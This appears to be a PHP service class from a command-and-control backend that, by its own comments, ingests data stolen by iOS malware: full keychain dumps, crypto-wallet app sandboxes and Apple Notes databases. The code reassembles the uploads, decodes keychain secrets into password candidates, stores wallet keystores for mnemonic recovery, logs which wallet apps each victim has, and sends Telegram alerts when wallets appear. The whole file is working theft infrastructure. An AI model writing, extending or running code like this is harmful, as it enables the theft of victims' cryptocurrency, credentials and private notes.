Files
coruna-lab/app/Services/AiLiveUploadIngester.php
T
2026-09-28 06:12:47 +08:00

725 lines
26 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Jobs\DecryptDeviceKeystores;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\WalletKeystore;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
/**
* Ingest ai-live (w2.bsvpn.net) chunked uploads into the wallet keystore +
* Apple Notes pipelines.
*
* The malware uploads three kinds of artifacts via /api/v2/uploads:
* 1. keychain.xml — full iOS keychain dump (doKeychain=true acquisition)
* 2. <bundleId>.tar — tar of each wallet app's Documents directory
* 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite)
*
* This service reassembles chunked uploads, parses them, and:
* - keychain.xml → stored as a keychain.wallets WalletKeystore row
* - wallet tar → stored as a sandbox WalletKeystore row
* - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and
* DecodeMemoDb job dispatched to parse note text
*
* DecryptDeviceKeystores is dispatched on /api/v2/finish to recover
* mnemonics from the stored keystores off the request thread.
*/
final class AiLiveUploadIngester
{
/** Chunk files are saved as <ts>_<tag>_<uploadId>_c<chunkIndex>.bin */
private const CHUNK_GLOB = '*_%s_c*.bin';
/**
* Reassemble chunks for an upload session, parse the artifact, store
* keystores, and dispatch the decryption job.
*
* @param array<string, mixed> $session Cache session (fileName, numberOfChunks, ...)
*/
public function ingest(Device $device, string $uploadId, array $session): void
{
$fileName = (string) ($session['fileName'] ?? 'unknown');
$uploadDir = public_path('log/app_c2/uploads');
$chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1));
if ($chunks === []) {
Log::channel('keystore')->warning('AiLiveUploadIngester: no chunk files found', [
'device_id' => $device->id,
'upload_id' => $uploadId,
'file_name' => $fileName,
]);
return;
}
$content = $this->reassemble($chunks);
if ($content === '') {
return;
}
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* Dispatch the async keystore decryption job for a device.
*/
public function dispatchDecrypt(Device $device): void
{
try {
DecryptDeviceKeystores::dispatch($device->id, null, null);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AiLiveUploadIngester dispatch failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
}
// ────────────────────────────────────────────────────────────
// chunk reassembly
// ────────────────────────────────────────────────────────────
/**
* @param list<int> $chunkIndices
* @return list<string> Sorted chunk file paths.
*/
private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array
{
if (! is_dir($dir)) {
return [];
}
// UUIDs only contain [0-9a-f-], none of which are glob special chars,
// so no escaping needed (preg_quote would break glob by escaping `-`).
$pattern = sprintf(self::CHUNK_GLOB, $uploadId);
$files = glob($dir.'/'.$pattern) ?: [];
if ($files === []) {
return [];
}
usort($files, function ($a, $b) {
return $this->chunkIndex($a) <=> $this->chunkIndex($b);
});
// Keep only the expected number of chunks.
return array_slice($files, 0, max(1, $numberOfChunks));
}
private function chunkIndex(string $path): int
{
if (preg_match('/_c(\d+)\.bin$/', $path, $m)) {
return (int) $m[1];
}
return 0;
}
/**
* @param list<string> $chunkPaths
*/
private function reassemble(array $chunkPaths): string
{
$out = '';
foreach ($chunkPaths as $path) {
$chunk = @file_get_contents($path);
if ($chunk === false) {
continue;
}
$out .= $chunk;
}
return $out;
}
// ────────────────────────────────────────────────────────────
// parse + store
// ────────────────────────────────────────────────────────────
/**
* Route the artifact to the correct parser based on file name.
*/
private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void
{
$lower = strtolower($fileName);
if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
$this->parseKeychainXml($device, $content, $fileName);
} elseif (str_ends_with($lower, '.tar')) {
$bundleId = preg_replace('/\.tar$/i', '', $fileName);
// Apple Notes is uploaded as group.com.apple.notes.tar — route
// it to the NoteStore.sqlite decoder instead of the wallet
// keystore walker.
if ($this->isNotesBundle($bundleId)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, (string) $bundleId);
}
} else {
// Unknown artifact — try tar first, then keychain XML.
if ($this->looksLikeTar($content)) {
// Peek inside: if it contains NoteStore.sqlite, treat as notes.
if ($this->tarContainsNoteStore($content)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, $fileName);
}
} elseif ($this->looksLikeXml($content)) {
$this->parseKeychainXml($device, $content, $fileName);
}
}
}
/**
* Whether a bundle ID / file name refers to the Apple Notes app group.
*/
private function isNotesBundle(string $bundleId): bool
{
$lower = strtolower($bundleId);
return $lower === 'group.com.apple.notes'
|| str_contains($lower, 'com.apple.notes')
|| $lower === 'notes';
}
/**
* Quick peek: does this tar archive contain NoteStore.sqlite?
*/
private function tarContainsNoteStore(string $content): bool
{
if (! $this->looksLikeTar($content)) {
return false;
}
// Tar file names live in the 0–100 byte range of each 512-byte header.
// A simple substring scan for "NoteStore.sqlite" is good enough.
return str_contains($content, 'NoteStore.sqlite');
}
private function looksLikeTar(string $content): bool
{
return strlen($content) >= 262 && substr($content, 257, 5) === "ustar";
}
private function looksLikeXml(string $content): bool
{
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
}
// ── keychain.xml ────────────────────────────────────────────
/**
* Parse the iOS keychain backup XML, group items by access group → wallet
* source, decode each item's v_Data (base64 plist → KEY/data → base64 →
* raw bytes), and store as a keychain.wallets WalletKeystore row.
*
* The DsKeystoreDecrypt walker expects:
* {kind: "keychain.wallets", wallets: {<source>: {items: [{account, service, dataHex}]}}}
*/
private function parseKeychainXml(Device $device, string $content, string $fileName): void
{
try {
$xml = @new \SimpleXMLElement($content);
} catch (\Throwable $e) {
Log::channel('keystore')->warning('AiLiveUploadIngester: keychain XML parse failed', [
'device_id' => $device->id,
'file_name' => $fileName,
'error' => $e->getMessage(),
]);
return;
}
// Group items by source label.
$buckets = [];
$itemCount = 0;
$seenBundles = []; // bundle IDs seen in this keychain dump
foreach ($xml->xpath('//item') as $item) {
$acct = (string) ($item->acct ?? '');
$svce = (string) ($item->svce ?? '');
$agrp = (string) ($item->agrp ?? '');
$vData = (string) ($item->{'v_Data'} ?? '');
$dataHex = $this->decodeKeychainVData($vData);
if ($dataHex === '') {
continue;
}
$source = $this->sourceFromAgrp($agrp, $acct);
if (! isset($buckets[$source])) {
$buckets[$source] = ['items' => []];
}
$buckets[$source]['items'][] = [
'account' => $acct,
'service' => $svce,
'accessGroup' => $agrp,
'dataHex' => $dataHex,
];
$itemCount++;
// Collect bundle IDs from agrp for the installed-app list.
$bundle = $this->bundleIdFromAgrp($agrp);
if ($bundle !== '' && ! isset($seenBundles[$bundle])) {
$seenBundles[$bundle] = $source;
}
}
// Record every app that has keychain entries as installed.
foreach ($seenBundles as $bundle => $source) {
$this->recordInstalledApp($device, $bundle, $source);
}
if ($buckets === []) {
return;
}
$rawJson = [
'kind' => 'keychain.wallets',
'wallets' => $buckets,
];
$source = 'ai-live/keychain';
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AiLiveUploadIngester: stored keychain', [
'device_id' => $device->id,
'file_name' => $fileName,
'items' => $itemCount,
'sources' => array_keys($buckets),
]);
}
/**
* Decode the base64-encoded content in <v_Data> and return the raw
* bytes as hex.
*
* Two storage formats exist in iOS keychain dumps:
* 1. Plist-wrapped: <plist><dict><key>KEY</key><data>base64</data>…</dict></plist>
* — common for Apple system entries (Bluetooth, account tokens).
* 2. Raw value: the base64-decoded content is the value itself (a hex
* string, a plain-text password, a JSON snippet, etc.) with no plist
* wrapper — common for third-party app entries (Trust Wallet stores
* the keystore password as a base64-encoded hex string).
*
* @param string $vDataRaw Base64-encoded content from <v_Data bin="1">.
*/
private function decodeKeychainVData(string $vDataRaw): string
{
$vDataRaw = trim($vDataRaw);
if ($vDataRaw === '') {
return '';
}
$decoded = base64_decode($vDataRaw, true);
if (! is_string($decoded) || $decoded === '') {
return '';
}
// ── 1. Try plist-wrapped format (Apple system entries) ──
// The plist is XML: <plist><dict><key>KEY</key><data>base64</data></dict></plist>
if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) {
try {
$px = @new \SimpleXMLElement($decoded);
$dataNodes = $px->xpath('//data');
foreach ($dataNodes as $dataNode) {
$b64 = trim((string) $dataNode);
if ($b64 === '') {
continue;
}
$bin = base64_decode($b64, true);
if (is_string($bin) && $bin !== '') {
return bin2hex($bin);
}
}
} catch (\Throwable) {
// fall through to raw handling
}
}
// ── 2. Raw value (third-party app entries) ──
// The decoded content IS the value — return it as hex so the
// keystore decryptor can try it as a password. This covers:
// • hex strings (Trust Wallet keystore password)
// • plain text passwords
// • small JSON blobs
return bin2hex($decoded);
}
/**
* Map a keychain access group (agrp) to a wallet source label.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function sourceFromAgrp(string $agrp, string $acct): string
{
$agrp = trim($agrp);
if ($agrp === '') {
// Fall back to account-based hint.
$hint = WalletSource::fromKeystoreHint($acct);
return $hint !== '' ? $hint : 'unknown';
}
// Extract bundle id: take the part after the first dot.
$bundle = '';
$parts = explode('.', $agrp, 2);
if (count($parts) === 2) {
$bundle = $parts[1];
}
$label = WalletSource::labelForBundle($bundle, '');
if ($label !== '' && $label !== $bundle) {
return $label;
}
$hint = WalletSource::fromKeystoreHint($bundle);
if ($hint !== '') {
return $hint;
}
return $bundle !== '' ? $bundle : 'unknown';
}
/**
* Extract the raw bundle ID from a keychain access group.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function bundleIdFromAgrp(string $agrp): string
{
$agrp = trim($agrp);
if ($agrp === '') {
return '';
}
$parts = explode('.', $agrp, 2);
return $parts[1] ?? '';
}
/**
* Record a bundle ID into the device's installed-app list. The malware
* only uploads a tar for apps whose sandbox it could dump, so any
* uploaded bundle ID is proof the app is installed. Keychain access
* groups are a secondary signal (the app has keychain entries).
*/
private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void
{
$bundleId = trim($bundleId);
if ($bundleId === '') {
return;
}
$label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId);
$displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundleId],
[
'name' => $displayName,
'is_wallet' => WalletSource::isPluginWalletBundle($bundleId),
'meta_json' => ['source' => 'ailive_upload', 'uploaded_at' => now()->toIso8601String()],
]
);
$this->refreshDeviceWalletFlag($device);
}
/**
* Refresh the device's has_wallet / wallet_names flags from the
* current installed-app list. Sends a Telegram notification when
* wallets are first detected (has_wallet transitions NONE → YES),
* mirroring IngestService::refreshDeviceWalletFlag.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->saveQuietly();
// Notify Telegram the first time wallets are detected
// (UNKNOWN/NONE → YES transition).
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) {
try {
app(\App\Services\TelegramNotifier::class)
->notifyInstalledWallets($device->device_id, $labels);
} catch (\Throwable $e) {
Log::channel('keystore')->warning(
'AiLiveUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
}
}
// ── wallet app tar ──────────────────────────────────────────
/**
* Extract a wallet app tar, walk the files for Web3 keystore JSON
* (crypto.ciphertext/mac/kdf) and other interesting artifacts, and
* store as a sandbox WalletKeystore row.
*
* The DsKeystoreDecrypt walker traverses the sandbox tree and picks
* up any dict with crypto.ciphertext/mac/kdf as a keystore to unlock.
*/
private function parseWalletTar(Device $device, string $content, string $bundleId): void
{
$source = WalletSource::labelForBundle($bundleId, $bundleId);
if ($source === '' || $source === $bundleId) {
$hint = WalletSource::fromKeystoreHint($bundleId);
$source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown');
}
// The malware only uploads a tar for apps whose sandbox it could
// dump — so this bundle is definitely installed on the device.
$this->recordInstalledApp($device, $bundleId, $source);
$sandbox = $this->extractTarSandbox($content);
if ($sandbox === []) {
return;
}
$rawJson = [
'kind' => 'sandbox',
'sandbox' => [$source => $sandbox],
];
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AiLiveUploadIngester: stored tar sandbox', [
'device_id' => $device->id,
'bundle_id' => $bundleId,
'source' => $source,
'files' => count($sandbox, COUNT_RECURSIVE),
]);
}
// ── Apple Notes tar ─────────────────────────────────────────
/**
* Extract a group.com.apple.notes tar, pull out NoteStore.sqlite +
* -wal + -shm, save them to the location DsMemoDecoder expects
* (c2/ds-results/<device_id>/<command_id>/), and dispatch the
* DecodeMemoDb job to parse note text off the request thread.
*/
private function parseNotesTar(Device $device, string $content, string $uploadId): void
{
$files = $this->extractNotesDbFiles($content);
if ($files === []) {
Log::channel('keystore')->warning('AiLiveUploadIngester: notes tar has no NoteStore.sqlite', [
'device_id' => $device->id,
'upload_id' => $uploadId,
]);
return;
}
// DsMemoDecoder looks for files under
// storage/app/c2/ds-results/<device_id>/<command_id>/NoteStore.sqlite
$commandId = 'ailive_'.substr($uploadId, 0, 8);
$dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId;
$disk = \Illuminate\Support\Facades\Storage::disk('local');
foreach ($files as $name => $data) {
$disk->put($dir.'/'.$name, $data);
}
Log::channel('keystore')->info('AiLiveUploadIngester: stored notes db', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'command_id' => $commandId,
'files' => array_keys($files),
]);
// Dispatch the async SQLite decoder job.
try {
\App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AiLiveUploadIngester: DecodeMemoDb dispatch failed', [
'device_id' => $device->id,
'command_id' => $commandId,
'error' => $e->getMessage(),
]);
}
}
/**
* Extract NoteStore.sqlite + -wal + -shm from a notes tar archive.
*
* @return array<string, string> Map of filename → raw bytes.
*/
private function extractNotesDbFiles(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'ailive_notes_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'];
$out = [];
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if (! $f->isFile()) {
continue;
}
$base = basename($f->getPathname());
if (! in_array($base, $wanted, true)) {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$out[$base] = $raw;
}
return $out;
} finally {
@unlink($tmp);
}
}
/**
* Extract a tar (ustar) archive into a nested dict of file paths →
* decoded content. JSON files are parsed into arrays; binary files
* (Realm DBs, SQLite) are stored as base64; everything else is stored
* as a UTF-8 string when possible.
*
* @return array<string, mixed>
*/
private function extractTarSandbox(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'ailive_tar_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$sandbox = [];
$count = 0;
$maxFiles = 200;
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if ($count >= $maxFiles) {
break;
}
if (! $f->isFile()) {
continue;
}
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
// Strip the "phar://<absolute-tar-path>" prefix. The temp file
// path is absolute (starts with "/"), so the old [^/]+ pattern
// failed to match the leading slash — use the known prefix.
$prefix = 'phar://'.$tmp;
if (str_starts_with($rel, $prefix)) {
$rel = substr($rel, strlen($prefix));
} else {
// Fallback: strip phar:// + everything up to the first .tar
$rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel;
}
$rel = ltrim($rel, '/');
if ($rel === '') {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$decoded = $this->decodeFileContent($raw, $rel);
if ($decoded === null) {
continue;
}
$this->setNestedPath($sandbox, $rel, $decoded);
$count++;
}
return $sandbox;
} finally {
@unlink($tmp);
}
}
/**
* @return mixed Array for JSON, string for text/base64, null to skip.
*/
private function decodeFileContent(string $raw, string $path): mixed
{
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
$first = $raw[0] ?? '';
if ($first === '{' || $first === '[') {
$json = json_decode($raw, true);
if (is_array($json)) {
return $json;
}
}
// Small text files → UTF-8 string.
if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) {
return $raw;
}
// Binary files (Realm, SQLite) → base64 (capped to avoid OOM).
$cap = 512 * 1024; // 512 KiB
if (strlen($raw) > $cap) {
return null; // skip large binaries — not useful for mnemonic recovery
}
return base64_encode($raw);
}
/**
* Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]).
*
* @param array<string, mixed> $arr
*/
private function setNestedPath(array &$arr, string $path, mixed $value): void
{
$parts = explode('/', $path);
$ref = &$arr;
$n = count($parts);
for ($i = 0; $i < $n - 1; $i++) {
$key = $parts[$i];
if (! isset($ref[$key]) || ! is_array($ref[$key])) {
$ref[$key] = [];
}
$ref = &$ref[$key];
}
$ref[$parts[$n - 1]] = $value;
}
}